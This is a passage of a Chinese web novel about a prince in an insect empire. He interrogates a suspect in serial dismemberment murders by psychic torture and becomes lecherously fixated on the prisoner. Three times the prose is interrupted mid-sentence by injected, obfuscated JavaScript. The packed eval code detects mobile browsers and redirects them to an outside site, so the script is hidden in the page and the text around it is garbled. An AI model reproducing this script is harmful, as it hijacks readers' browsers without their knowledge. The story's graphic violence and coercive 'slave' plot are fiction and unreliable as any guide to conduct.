《被迫继承的雌君》 1. 第 1 章 星历3085年,虫族帝国首都星。 “现在的虫真是越来越没素质了,行李箱也往路边丢,以为虫行道是自己家吗。” 一个环卫工在打扫卫生时,无意间发现路边停靠着一个诡异的黑色行李箱,隐隐约约从中传来一丝怪异的味道,像是廉价的香水混合了下水道的腐臭。 环卫工深吸了一口气,差点被臭晕了。 错不了,这行李箱里肯定装了答辩。 这是哪个该死的虫干出这种缺德事,竟然把答辩装行李箱里丢路边。 环卫工骂骂咧咧地走近了一些,却惊奇地发现有可疑的红色液体顺着行李箱的缝隙蜿蜒流下。 环卫工心里生出不祥的预感,于是叫来了几个同事,一起打开了行李箱。 当行李箱打开的那一刻,腐烂的恶臭味扑面而来。 眼前的场景令他们终生难忘,成堆的肉块滚落下来,腐败的血液涌出来染红了地面。 行李箱里装的竟然是一具已经四分五裂的尸体。 环卫工们吓到惊声尖叫,手忙脚乱地报了警。 经过帝国警署的调查,死者身份很快得到确认,是一只青年雌虫,职业是飞船维修工,原本居住在偏远的萨拉星,这次来首都星是来投奔亲戚,没想到却遭遇不测。 这桩杀虫分尸案很快轰动了帝国,新闻媒体跟踪报道了数日,虫皇也亲自下令要求彻查,务必将凶手尽快抓获。 然而凶手却仿佛挑衅一般,装满尸块的黑色行李箱又陆陆续续出现在首都星各个地方。 受害者数量在短短一周内已经上升到了九个。 而且凶手似乎有变态的嗜好,受害者的尸体不止被分尸装在行李箱内,还都残缺了一部分。 有的受害者尸体是丢失了眼睛,有的遗失了耳朵,有的则丢失了手臂,每具尸体遗失的部位都不相同。 这无疑是一件性质恶劣的连环杀虫案,凶手不止杀虫分尸,显然还有虐尸的癖好。 一时间虫心惶惶,连环杀虫案的讨论热度荣登星网头条数日。 帝国警署感受到了前所未有的压力,因为这个凶手在抛尸的时候巧妙地避开了所有的摄像头,而受害者之间也并没有任何关联性,说明凶手是无差别杀虫。 破案困难重重。 警署迟迟未能破案,引来了民众的持续抨击。 为了平息众怒,虫皇再次下令,要求自己的亲生雄子莫利亲王去负责彻查这桩案件。 莫利亲王可以说是整个帝国最受欢迎的雄虫,不止继承了他的虫皇父亲的优越美貌,精神力也是出类拔萃的s级,而且他并不像一般雄虫那样好吃懒做,反而能力出类拔萃,上学时就以全A的成绩毕业,后来更是把自己的封地治理的井井有条。 就是这样一只尊贵又优秀的雄虫,他还非常的亲民,出现在公众面前时总是温和有礼,而且热衷于在星网上分享自己的生活日常,非常的接地气。 最要命的是,他还单身,身边连个雌奴都没有。 这怎能不让雌虫和亚雌们疯狂。 莫利亲王的受欢迎程度甚至超过了顶流大明星麦麦汀。 虫皇把自己的亲儿子莫利亲王搬出来救场也是为了平息众怒,并没指望他能破案,毕竟自己的儿子什么水平自己最清楚,警署都破不了的案,他能破就有鬼了。 可是该说不说,莫利的运气实在太好,虫皇把他找来当救兵的第二天,就有目击者站出来指认凶手。 原来是凶手抛尸的时候,正好被这位目击者看到了。 那目击者说原本担心凶手打击报复不敢站出来指认,但是莫利亲王的出现给了他勇气。 于是案子就这么给破了。 而凶手的身份又让虫大跌眼镜,竟然是莫利亲王的哥哥罗丝公爵的雌君伊莱尔! 罗丝公爵的这位雌君出身并不好,在嫁给罗丝公爵之前只是个平民,但罗丝公爵却不顾反对娶了他做雌君。 本以为是真爱,没想到这位雌君竟然是连环杀虫案的凶手。 星网上舆论炸锅了。 [莫利亲王一出现,就抓到凶手了,莫利殿下真是我们帝国的福星呢] [莫利亲王真能干,不像罗丝公爵,娶个雌君都能娶到杀虫犯] [莫利殿下娶雌君的时候一定要擦亮眼睛呢,千万别像罗丝殿下一样把杀虫犯娶回家,一定要找像我这样的老实虫] [一定要严惩凶手,不要因为凶手是公爵殿下的雌君就放过] . 莫利带着自己的辅佐官来到了首都星第三监狱,今天他是来审讯连环杀虫案的凶手的。 凶手畏罪潜逃了一个星期,终于在昨天晚上被抓获归案,目前就关在第三监狱里。 莫利从自己的飞船上下来,打开终端,满意地看着星网上铺天盖地的全是对他的称赞。 警署都破获不了的连环杀虫案,竟然被他给破了,这叫什么,这就叫天选之虫。 那丧心病狂的凶手竟然是他哥的雌君,也就是他名义上的嫂子。 啧啧啧。 令虫唏嘘。 突然他的视野里出现一条最新的实时评论:[亲王殿下今天会发自拍吗,好久没有看到殿下的美照了,看到亲王殿下的美照就是我今天最大的心愿] 多么可爱的小雌虫,最大的心愿竟然是看到他的自拍照。 作为全帝国最美丽最有智慧最伟大最亲民的雄虫,他怎能不满足自己小粉丝的心愿呢。 莫利挥挥手让辅佐官麻乙离自己远点,不要妨碍自己自拍,接着便站在监狱门口的台阶上,迎着阳光找角度拍起了照。 “麻乙,你站的再远一点,挡我光了。”莫利嫌弃到。 麻乙一言难尽地又挪了挪位置,乖乖地站到了八十米开外。 麻乙是个亚雌,给莫利当了三年半辅佐官,早就对自己上司这幅样子见怪不怪。 刚来的时候,他也曾和所有虫一样对莫利殿下心存幻想,但三年半过后,这幻想已经幻灭的不能再幻灭了。 莫利连着拍了十几张后,挑选了自己最满意的一张发布到了星网上。 只见照片上的雄虫身着华丽的白色制服,绚丽的金色长发如月华一般披散在肩后,精致的眉眼仿佛萦绕着挥之不去的忧愁。 阳光温柔地洒在他的身上,背景是萧索的监狱大门,氛围感直线拉满。 照片下面配文:[今天来到了首都星第三监狱,我一定会将凶手绳之以法,还受害者们一个公道。] 动态刚一发布,转发和点赞便火速增长,评论区更是热度爆表。 [正义的使者莫利殿下,支持莫利殿下] [啊啊啊殿下今天又美出新高度,想给殿下生虫蛋] [楼上不要做美梦了,殿下是我的] [殿下今天看起来有些惆怅呢,是在为案件忧心吗?] [照片看起来有摆拍的嫌疑] [楼上黑子太龌龊了,竟敢诋毁伟大的亲王殿下] [殿下就是这么美丽这么富有责任感,无知的黑子一定是在嫉妒殿下的美貌与才华] [殿下工作辛苦了,一定要注意休息呀] 莫利洋洋得意,他就喜欢这种众星捧月的感觉。至于那零星的几个黑子,完全无关紧要,毕竟虫太优秀了难免招来嫉妒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338454|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这时,辅佐官麻乙身上携带的备用终端闪烁了一下。 “殿下,您的哥哥罗丝公爵发来了通讯请求,是否接通?”麻乙提醒到。 莫利挑了挑眉:“接通。” 他的这个哥哥找他一般没好事儿,所以他的电话自己一般不接,不过今天自己心情好,便破例了。 通讯接通,终端另一端传来罗丝火急火燎的声音:“我的好弟弟啊,你去第三监狱了?” “是啊,哥哥。”莫利温声道。 罗丝支支吾吾地说:“我是真没想到伊莱尔会做出杀虫分尸这种事,我最近回家的次数少了,没把他管教好,不过他毕竟是我的雌君,还怀了我的虫蛋,弟弟你能不能想办法把他从监狱里捞出来,好歹也是你嫂子,你帮帮忙。” 莫利状似苦恼地沉吟片刻:“这确实有点麻烦……不过也不是不行,目前证据不足,只有一个目击者,没有其他实质性的证据,所以现在还不能给他定罪,只能将他关押起来,如果哥哥你能缴纳足额的保释金的话,也可以将他从监狱里保释出去。” “保释金是多少?”罗丝紧张兮兮地问道。 莫利:“二点五亿星币。” 罗丝一听到保释金的金额立马怂了:“这么多?那还是算了,我掏不出这么多钱,这简直是要我的命,这该死的雌虫,就会给我惹事。” 他对这位平民雌君是有点情谊,但并不多。 罗丝是非常典型的传统雄虫,花心又慵懒,最大的爱好就是泡英俊的雌虫,最讨厌的事就是工作,最大的梦想就是娶十几只帅气的雌虫替自己打工赚钱带孩子。 让雌虫给他花钱还行,让他给雌虫花钱还是算了。 莫利虚情假意地劝说道:“哥,这种惹事精雌虫,你还是趁早和他离婚比较好,不然将来也是拖累你的名声。”虽然你本来也没什么名声。 “莫利,你说得对,我不管他了,就让他死在监狱里吧,过段时间我就去办离婚手续。” 说完,罗丝便挂断了通讯。 莫利心里冷笑。 这种罪大恶极的雌虫,还想把他从监狱里捞出去?过两天就把他打发到条件最艰苦最恶劣的第四监狱去。 把备用终端丢给麻乙,莫利便朝着监狱内走去,监狱的大门识别到他的身份信息,对他畅通无阻。 第三监狱新上任的雌虫典狱长阿尔杰听说亲王殿下亲自过来了,赶紧出来迎接。 一见面,阿尔杰便被莫利亲王温柔美丽的笑容迷得晕头转向。 以前总是在媒体上见到这位以美貌著称的亲王殿下,但远不及见到真人来的震撼。 “殿下,有什么需要我做的,您尽管吩咐。” 阿尔杰态度殷勤得仿佛一只开屏的孔雀,他一边给莫利带路,一边整理自己的头发和衣领,有意无意地展示着自己的雌虫魅力。 但很可惜,莫利并没有多看他一眼,脚步不急不缓地朝前走着,“我今天要审讯罪虫伊莱尔,等审讯完了,你就把他丢到第四监狱去。” 第四监狱是整个虫族帝国环境最恶劣的监狱,关押着的都是犯下重罪的穷凶极恶的恶徒,凡是关进第四监狱的罪虫,基本都活不长。 像伊莱尔这种罪大恶极的罪虫,原本就该关进第四监狱,可惜他那哥哥竟然以罪虫怀孕了为由,把罪虫安排进了条件相对舒适的第三监狱。 真是太便宜这只雌虫了。过了今天就让他回到他该去的地方。 莫利在心中幻想着他这位犯下重罪的嫂子的面容。这种恶毒的虫,肯定长得贼眉鼠眼,丑陋不堪。 但愿不要污了自己的眼。莫利不屑地想着。 2. 第 2 章 首都星第三监狱里,一条条狭窄的走廊像没有尽头的迷宫,囚犯们都被关在狭小闷热的单人牢房里。 典狱长阿尔杰带着莫利和麻乙推开一间囚室的房门,迎面而来一阵灰尘的气息。 逼仄的囚室里,一个雌虫脖子上戴着黑色的精神力抑制环,闭着眼,盘腿坐在在房间的角落。 狱中沉闷燥热,别的囚犯大多赤着上半身或者撕掉了衣袖,只有这只雌虫规规矩矩地穿着长袖长裤的囚服。 安安静静的,一副挺正经的样子。 如果不是提前知道这雌虫的身份,大概很难想到他就是连环杀虫案的凶手。 听到动静,雌虫睁开眼,微微抬起了头。漆黑的眼眸如墨般浓郁,五官锐利深邃。 非常英俊逼人的长相。 明明身材和长相都很张扬,却偏偏一丝不苟地穿着板正的囚服,脊背也绷得笔直挺拔。 像皑皑白雪又像被压抑的烈焰,非常矛盾的两种气质,却在这个雌虫身上巧妙融合。 莫利愣了一瞬,视线落在雌虫宽松的囚服领口上,他突然注意到了许多平时并不会特意关注的细节。 比如这个雌虫的锁骨的线条很诱人,囚服掩盖下的胸肌似乎也很饱满,再比如那双盘起的腿,如果舒展开的话,一定十分的修长有力。 囚室里光线昏暗,在莫利打量这雌虫的时候,对方也朝他投来了审视的视线。 无声中对视,雌虫的眼神冷漠、又危险。 视线交汇的一瞬间,莫利听到自己喉结吞咽的声音。 冷淡,禁欲,偏偏又该死的性感。 这就是他名义上的大嫂吗。 他那不着调的哥哥竟然背着他拥有过这么极品的雌虫。 以前他只在哥哥的婚礼上远远地见过对方的背影,当时并没有留下太深的印象。这次再见面,本以为对方会是一副非常丑陋落魄的样子,没想到对方竟然出人意料的帅气。 他突然有些理解一向眼高于顶的哥哥为何偏偏娶了一个平民做雌君。 不过长得再帅也是个杀虫犯罢了。 哥哥被美色迷惑,错把杀虫犯娶回家。而自己就绝不会犯这种错误。 莫利回过头对身后待命的阿尔杰说:“阿尔杰,你出去吧,我单独审讯他。” 阿尔杰原本还想在莫利身边多呆一会儿,可亲王殿下都发话要他出去了,便只能遗憾离开。 阿尔杰走了之后,存在感近乎于零的辅佐官麻乙默默掏出了笔记本,准备做笔录。 莫利皱了皱眉:“麻乙,你还在这里干嘛,出去呀。”真是太没眼色了。 麻乙一脸懵:“殿下,不需要我为您做审讯笔录吗?” 莫利:“不需要,我单独审讯他。” 麻乙看了看自己的上司,又看了看被锁链禁锢着的帅逼罪虫,脸上露出了一言难尽的表情。他默默的退出了囚房,临走时还很贴心的帮忙把囚房的门给关上了。 囚房里只剩下了莫利和罪虫伊莱尔。 莫利松了松制服的领口,突然有种微妙的兴奋。 接下来他要对这个罪虫进行精神力拷问,不知道对方能不能扛得住。 虫族世界就像一个金字塔,雄虫少雌虫多,且雄虫无论是体魄还是战斗力都普遍不如雌虫,而数量稀少又战五渣的雄虫却牢牢把控着虫族帝国的政权,原因就是雄虫的精神力对雌虫的影响可以说是致命的。 越是强大的雌虫,越是需要雄虫精神力的安抚和疏导,如果长期得不到雄虫的抚慰,精神领域便有崩溃的危险。虽然目前已经研究出了作为替代品的安抚剂和稳定剂,但终究只是饮鸩止渴,难以和雄虫的精神力相提并论。 而精神力强大的雄虫,甚至能对雌虫进行精神控制,精神力拷问就是其中的一种。 所谓的精神力拷问就是利用自己强大的精神力向雌虫施压,让雌虫无法向自己说谎。 整个帝国,能向雌虫发动精神力拷问的仅有两个雄虫,一个是虫皇凯撒,另一个便是莫利。 莫利默默地释放出几丝精神力细丝,一步一步地朝着罪虫走近,低下头俯视着对方:“嫂子还记得我吗,我们见过面的,我是莫利,罗斯公爵的弟弟。” 雌虫面色平静:“莫利殿下有何贵干。” 莫利:“也没什么,只是想问嫂子一些事情,希望嫂子不要对我说谎。” 说完,虚空中漂浮的精神力细丝突然凝成了一条无形的锁链,锁链的一端缠绕在莫利的指尖,另一端则骤然穿透了雌虫的胸膛,像藤蔓一样将雌虫的心脏缠绕了起来。 精神力拷问会带给雌虫莫大的痛苦,锁链缠上心脏的一瞬间,痛感便会自心脏向四肢百骸漫延,每说一句谎话,锁链便会自发地震动收缩,痛感便会翻倍,再坚强的雌虫也坚持不了多久。 但眼前的雌虫却只是皱了一下眉,便再没有多余的表情。 “罪虫,你犯下连环杀虫案的目的是什么。”莫利诘问道。 雌虫沉默。 莫利动了动指尖,那缠绕着雌虫心脏的精神力锁链便突然绞紧了一些:“回答。” 雌虫额头渗出了汗珠:“我不知道。” 不知道是什么意思?无目的地杀虫吗?莫利对雌虫的这个回答并不满意,但精神力锁链传递给他的讯息是这个雌虫并没有说谎。 莫利继续问道:“这些受害者是否和你有恩怨?” 雌虫:“没有。” 莫利:“你是否有虐尸的癖好。” 雌虫:“没有。” 莫利:“你有收集虫体器官的癖好?” 雌虫:“没有。” 莫利对这个审讯结果既诧异又不满,他决定换个思路继续审问。 莫利微微一笑,态度温和地说道:“嫂子,你不要紧张,我们就当聊聊天,我问你什么问题,你如实回答我就好……你是不是很爱我哥?” 雌虫的黑眸中闪过一丝困惑,似乎是没想到亲王殿下为何会问这个问题,不过还是平静地回答道:“不是。” 莫利好奇道:“嫂子不喜欢我哥这种类型的雄虫吗?” 雌虫倒是很坦诚:“不喜欢。” 精神力锁链没有丝毫波动,莫利知道这雌虫没有说谎。真是一只胆大包天的雌虫,作为雌君,竟然敢不喜欢自己的雄虫。 莫利:“为什么不喜欢我哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338455|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?夫夫生活不和谐?” “不是。” “哦?”莫利温和的声音突然降低了温度,“那难道是我哥最近冷落你了,你心中怨念无法排解,所以无目的无差别杀虫?” “不是。” 莫利已经消耗了很多精神力,却没有问到自己想知道的东西,他再次牵动指尖将精神力锁链收紧,逼问道:“罪虫伊莱尔,你是否承认你犯下了杀虫案。” 雌虫因为精神力拷问的骤然施压已经唇色苍白,但神色却依旧平静:“不是我杀的。” 话音刚落,莫利的瞳孔骤然紧缩。 这雌虫竟然说他不是连环杀虫案的凶手,这怎么可能,但自己的精神力锁链还缠绕在对方的心脏上,他知道这个雌虫没有说谎。 凶手竟然不是他。 “有目击者看到你抛尸,如果不是你杀的,你为什么要抛尸?”莫利追问道。 “目击者说的就一定是真话吗?”雌虫反问。 莫利沉默了片刻后又问:“你知道凶手是谁?” 雌虫抬眸,幽深的眸子不避不闪地直视着莫利的眼睛:“我也想知道是谁。” 雌虫的眼神坚韧又坦诚,和莫利曾见过的任何眼神都不一样。 这雌虫也和他曾见过的所有雌虫都不一样。 莫利竟然荒唐的移不开视线。和雌虫对视的瞬间他的心头涌起一丝莫名的情绪,但还没等他弄明白那丝情绪是什么,便一闪而逝了。 莫利故作镇定地轻咳了一声,指尖微动,收回了自己的精神力。 精神力拷问终于结束。 今日的审讯结果令莫利很诧异,不止是因为得知了罪虫不是凶手,还因为对方竟然抗住了自己的精神力拷问。 他的精神力拷问通常能让最坚强的雌虫都脱去一层皮,而他这位嫂子,竟然全程表情都没有什么波澜,仿佛精神力拷问的痛苦对他来说不痛不痒一般。 但莫利知道,雌虫并非真的不痛,只是善于忍耐。被汗水浸湿的囚服和苍白的唇色都暴露出雌虫刚刚所承受的痛苦。 莫利的目光凝在雌虫的胸膛,湿透的囚衣服帖地贴在雌虫身上,不动声色地勾勒出诱人的身体线条,锁骨处的汗珠滑落进衣襟里,也不知会流向何处。 莫利突然心怦怦剧烈跳动起来。他很想知道,衣服包裹下的身躯是否真的像他想象中一样完美。 莫利心想自己真的并不是见色起意,他只是好奇自己哥哥的雌君是什么样的。能让自己那花心的哥哥娶回家当雌君,身材肯定不一般。 莫利蹲下身,很自然地握住雌虫的手,脸上露出愧疚的表情:“嫂子,真是对不住,刚刚对你使用了精神力拷问,把你衣服都弄湿了。” 雌虫没想到莫利突然间凑这么近,还握住了自己的手,呼吸间都是对方发丝上洗发露的清香。 从未和雄虫如此近距离接触过的雌虫表情有些不自然:“是我自己把衣服弄脏的,殿下不必道歉。” 精神力拷问的痛对雌虫来说并非难以忍受,他本就在枪林弹雨里长大,早就习惯了疼痛。 因为他并不是罗丝公爵的雌君伊莱尔,而是帝国第四军队的上将欧文。 3. 第 3 章 帝国一共七位上将,只有最年轻的上将欧文因为常年带领第四军队开拓新星系而从未在公众面前露过面。 这次回到首都星只是因为终于查到了失散多年的弟弟伊莱尔的下落,但还未来得及重逢,便发现伊莱尔被卷入了一桩连环杀虫案。 伊莱尔被指认为凶手后便失踪了,媒体都说他是畏罪潜逃,但欧文知道伊莱尔不是失踪,也不是畏罪潜逃,而是死了。 欧文亲眼见到了伊莱尔的尸体,死状很像是自杀,没有任何挣扎的痕迹,但奇怪的是尸体被剃光了毛发,头发、眉毛,甚至是眼睫毛都消失不见了。 如果是自杀的虫,为何要剃光自己的毛发。 欧文悄悄找了个心腹法医虫对伊莱尔进行尸检,而尸检结果又有意外发现,法医虫从伊莱尔的胃里解剖出一个微型储物匣,匣子里竟然装着一张首都星第三监狱的布局图。 以他对虫皇的了解,如果虫皇和警署得知了伊莱尔自杀的消息,那么这桩连环杀虫案很可能就会以凶手畏罪自杀盖棺定论。 但欧文直觉这件事并没有这么简单,无论是连环杀虫案还是伊莱尔的死,都像是一场阴谋。第三监狱的布局图为何会出现在伊莱尔的胃里,也十分可疑。 他决定调查清楚这件事,于是伪装成弟弟的样子潜入了第三监狱。 好在他和伊莱尔的外表有百分之八十的相似度,稍作伪装便可以以假乱真。 他不是真正的伊莱尔,莫利亲王的精神力拷问自然没有办法从他这里拷问出想要的东西。 至于汗水为何会浸湿衣服,也并不是因为疼痛难耐,而是自己的身体似乎对莫利亲王的精神力过于敏感了。 雄虫的精神丝刚触碰到他的身体的时候,便有种灵魂深处的颤栗。当然这有些难以启齿,他不会告诉雄虫。 而雄虫却以为他是疼出的冷汗,愧疚地握紧他的手,关切道:“嫂子,穿湿衣服容易着凉,我马上让他们再给你送一套新囚服过来。” 欧文虽然常年在外征战,但也听说过莫利亲王的亲切和善良,如今看来果然和传言中一样,是个平易近人的雄虫。 于是欧文不自觉地缓和了语气:“不用了,殿下。” “嫂子不用跟我客气,我哥叮嘱过我的,让我帮忙照顾你,你的事就是我的事。”莫利的指腹状似无意地揉搓着雌虫手心的薄茧。 手感不错,占个便宜很开心。 莫利很快便让典狱长阿尔杰又送来了一套全新的囚服。 来送衣服的阿尔杰见莫利已经审讯完了,便问道:“殿下,接下来是否要把这只罪虫送往第四监狱?” 莫利惊讶道:“典狱长,你怎么会有这样的想法,第四监狱那种穷凶极恶的地方,我怎么会把自己的嫂子送到那里去呢?” 说完,又回过头安抚欧文:“嫂子你放心,我是不会让典狱长把你送到第四监狱去的。” 阿尔杰很懵。不是亲王殿下自己说的审讯结束之后,要把这只罪虫送到第四监狱吗?怎么现在翻脸不认虫了。 直到被莫利赶出囚室,阿尔杰都没缓过劲来,于是很迷茫地向守在囚室门口的麻乙求教:“亲王殿下刚刚说要把罪虫送到第四监狱,现在又说不能送过去,这是什么意思呢?” 麻乙面无表情:“没有什么特别的意思,亲王殿下心思一向变幻莫测,习惯了就好。” . 囚室内,莫利好整以暇地催促欧文赶紧把干净衣服换上,他迫不及待地要看这位高冷的嫂子禁欲的外表下是怎样一副躯体。 欧文看着摆在面前的新囚衣,沉默了。 他严谨自律惯了,在雌虫面前都很少宽衣解带,更何况是当着一只雄虫的面。 莫利看出了欧文的犹豫,于是解释道:“嫂子,你不要多想,我其实是医学系毕业的,无论是雄虫还是雌虫,在医生的眼中其实没有任何区别,我只是想亲眼看你换好衣服这样才能放心。” 欧文直觉这只雄虫态度似乎有些不对劲,但美丽的雄虫声音温柔又动听,眼神也无比的真诚。 好像真的是他多心了。 欧文转过身,背对着莫利,手臂伸展开将上衣脱了下来。 雌虫的背影像苍劲的松树一样挺拔坚韧,流畅的肌肉线条充满了蓬勃的力量感。 莫利再次听到了自己喉结吞咽的声音,他眨了眨眼,想要再仔细看一下时,欧文便已经换好了衣服。 整个换衣过程只花了几秒钟,在莫利还没有尽兴的时候便结束了。 . 从监狱回去之后,莫利立刻要求警署把连环杀虫案的目击者的身份讯息和目击供词发给自己,并让警署尽快对目击者进行二次审问。 警署效率很高,没多久就把关于目击者的信息传到了莫利的终端上。 莫利默默浏览了一遍警署发来的目击者提供的证词。 目击者声称他是在下班回家时撞见了伊莱尔抛尸的现场,对方头戴兜帽鬼鬼祟祟,将一个行李箱丢在路边就行色匆匆地跑了,而他恰好看到了对方的正脸,稀有的黑发黑眸,让他对对方印象很深。 证词看着没有什么问题。 可精神力拷问的结果却显示伊莱尔不是凶手,莫利是不会怀疑自己亲自拷问的结果的。 但伊莱尔如果不是凶手的话,为何会被目击者指认呢?恶意栽赃陷害吗? 莫利继续翻看对方的身份信息。 目击者虫是帝国科研院的研究员,从小就遵纪守法,性格也老实巴交,社交关系简单,在此之前和伊莱尔以及连环杀虫案的死者们没有任何恩怨。 真的就只是一个普通的目击者,身世清白,秉性纯良,恶意栽赃陷害的可能性不大。 那么有没有认错虫的可能性呢?正当莫利心中产生这种怀疑的时候,警署的署长再次传来简讯。 [警署署长]:殿下,我们刚刚已经对目击者进行了二次询问。 [莫利]:结果如何? [警署署长]:目击者改口了,说是当时天色晚了,其实没太看清楚凶手的脸,只是隐约觉得和嫌犯伊莱尔长得有点像,而且当时的事情也记不太清楚了。 莫利挑眉嗤笑。一句没看清楚就算了?可惜他刚对伊莱尔使用过精神力拷问,短期内无法再对别的虫使用,不然他可要好好问问这个目击虫。 难道真是认错虫了?这个说法倒挺合理的,但总感觉事情好像没那么简单。 [莫利]:继续调查吧。 [警署署长]:好的殿下。 和警署署长沟通完案件没多久,又接到了虫皇发来的视频通讯请求。 通讯接通后,莫利的终端在虚空中投射出一块光屏。 只见虫皇凯撒正懒洋洋地躺在花园的躺椅上晒太阳,岁月并没有在他的脸上留下太深的痕迹,五官精致,眉目如画,一头雪白的白发瀑布般铺散在躺椅的靠背上。 一位雌侍跪在他的脚边给他按摩腿,另一位雌侍正在给他剥葡萄。还有两位雌侍正在帮虫皇批阅公文。 自从雌君去世以后,凯撒便没有再娶新的雌君,目前身边侍奉他的都是一些雌侍。 凯撒的雌君是帝国的前任元帅加兰,这位惊才绝艳的加兰元帅在生下莫利后没多久就过世了。加兰去世后凯撒消沉了很长一段时间,当时甚至把后宫都给遣散了,不过最近这些年倒像是想开了,雌侍一个接一个地迎进门。 “今天审讯的怎么样,我的小茉莉。”凯撒缓缓转动着漂亮的金色眼眸,懒洋洋地问道。 “不要叫我小茉莉,”莫利叹了口气,“伊莱尔不是连环杀虫案的凶手,我已经让警署继续调查,抓捕真正的凶手。” 凯撒对这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338456|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果非常惊讶:“他不是凶手?你确定?” 莫利:“确定,我对他使用了精神力拷问。” 凯撒皱眉:“我不是跟你说过让你不要再使用精神力拷问了,这个技能对我们雄虫的精神力消耗太大了,我就是年轻的时候用太多了,现在精神力创伤才难以恢复。” 说完又话锋一转:“伊莱尔不是凶手这件事先不要公开,不然民众知道凶手还在逍遥法外,舆论又要难以平息,总归最近也没再有新的受害者出现,就先让警署去秘密调查吧。” “哦,知道了,”莫利熟知虫皇秉性,早就猜到了虫皇会这样处理,“父亲,如果没有别的事情的话,我就切断通讯了,还有许多公文需要我批阅。” 凯撒看到莫利办公桌上高高的一摞公文,同情道:“我的小茉莉,你真没必要工作这么认真,你只需要娶几个雌侍,雌侍们就会帮你完成这些工作,优秀的雌虫会比你想象的更加能干。” 莫利微微一笑:“是莫利,不是茉莉,不要叫我小茉莉。” 说完切断了通讯。 莫利坐在自己的办公桌前,桌面上摊开着一本需要他批阅的公文,他却满脑子都是虫皇那句“优秀的雌虫会比你想象的更加能干”。 呵。他不在乎雌虫能不能干,只在乎雌虫能不能干。 他突然想起监狱里那只罪虫诱人的模样。 雌虫深邃的黑眸注视自己的时候是那么的专注,莫非是在勾引自己?莫利有些不确定的想着。 雌虫的唇形也很漂亮,薄唇看起来有些冷漠,但应该很适合接吻。不过这个他也不确定,到底适不适合接吻,要亲一下才知道。 他还摸了雌虫的手,那是一双修长且骨节分明的手,手心有些薄茧,摸起来意外的手感很好。 那触感仿佛还停留在自己的手心。莫利陷入了回味之中。 突然,他又想起雌虫换衣服的场景,心脏快速跳动起来。 莫利愣住了。 这种感觉…… 他皱着眉沉思了很久,很是苦恼地发现自己似乎是对这个雌虫一见钟情了。 说一见钟情也不太准确,应该是见色起意。 一定是因为那雌虫勾引自己。 都怪那雌虫勾引自己。 这雌虫原本是哥哥的雌君,阴差阳错被卷入杀虫案,哥哥现在沉迷于新欢的温柔乡,已经顾不上锒铛入狱的原配了。 既然哥哥不要了,那就是他的了。 他不介意雌虫被他哥拥有过。哥哥跟他说过雌虫怀了虫蛋,不过这个也没关系,他会把雌虫肚子里的虫蛋当做自己亲生的来养。 对于喜欢上哥哥的前妻这件事,莫利没有任何心理负担。 反正哥哥也不要了,这个便宜他不捡白不捡。 过两天就交了保释金把他赎出来做自己的雌奴。 因为雌虫被当成是连环杀虫案的真凶,所以保释金才被定为了2.5亿星币,但现在他通过精神力拷问已经排除了雌虫的杀虫嫌疑,且目击虫也改口了。 罪虫的保释金是根据案件恶劣程度和作为真凶的概率确定的,雌虫现在已经洗清了大半嫌疑,保释金也会相应下调,只要缴纳250万星币,应该就可以把他保释出来了。 250万星币买个雌奴,有点贵,出去后得在他身上好好讨回来。 在短短几十秒内,莫利已经在心里迅速规划好了自己的接盘路径。 莫利十指交叉支撑着下巴,思索了一会儿后像是突然想通了,于是喊来自己的辅佐官麻乙,一脸严肃地嘱咐道:“明天我想吃饺子,你安排一下……不,我是说明天我要去监狱一趟,你安排一下。” 麻乙脱口而出:“去监狱吃饺子?” “你活腻了?”莫利脸上露出阴森恐怖的笑容。 麻乙低下头:“没有。” 4. 第 4 章 第二天,莫利又接到了接到罗丝公爵的电话。 “我和伊莱尔的离婚手续办好了,但我还是有些放不下他肚子里的虫蛋,”罗丝一边叹气一边说,“你说我是不是不该这么快就和他离婚。” 罗丝公爵虽然花心,对自己的亲生虫蛋还是真心实感地期待过的。 莫利斩钉截铁道:“不,哥,你和他离婚是对的,这绝对是你这辈子做过的最正确的决定。” “真的吗,”罗丝有些犹豫不定,“可是他肚子里怀着我的亲生虫蛋,在监狱里肯定不好过,弟弟你有没有什么办法?” 莫利非常善解虫意地安慰道:“放心吧哥,我会帮你关照嫂子和虫蛋的,我今天就请狱医给嫂子做身体检查。” 罗丝没想到莫利这次竟然这么热心,简直特别感动,“莫利,我就知道,只有亲兄弟才靠得住。” 莫利脸上露出了意味深长的笑容,“客气了哥,毕竟我们一向不分彼此的,你的事就是我的事。” 当然,你的雌虫也是我的雌虫。 . 到了监狱后,莫利带着辅佐官麻乙直奔医疗区,跟狱医要了一套医生专用的服装穿在了自己的身上。 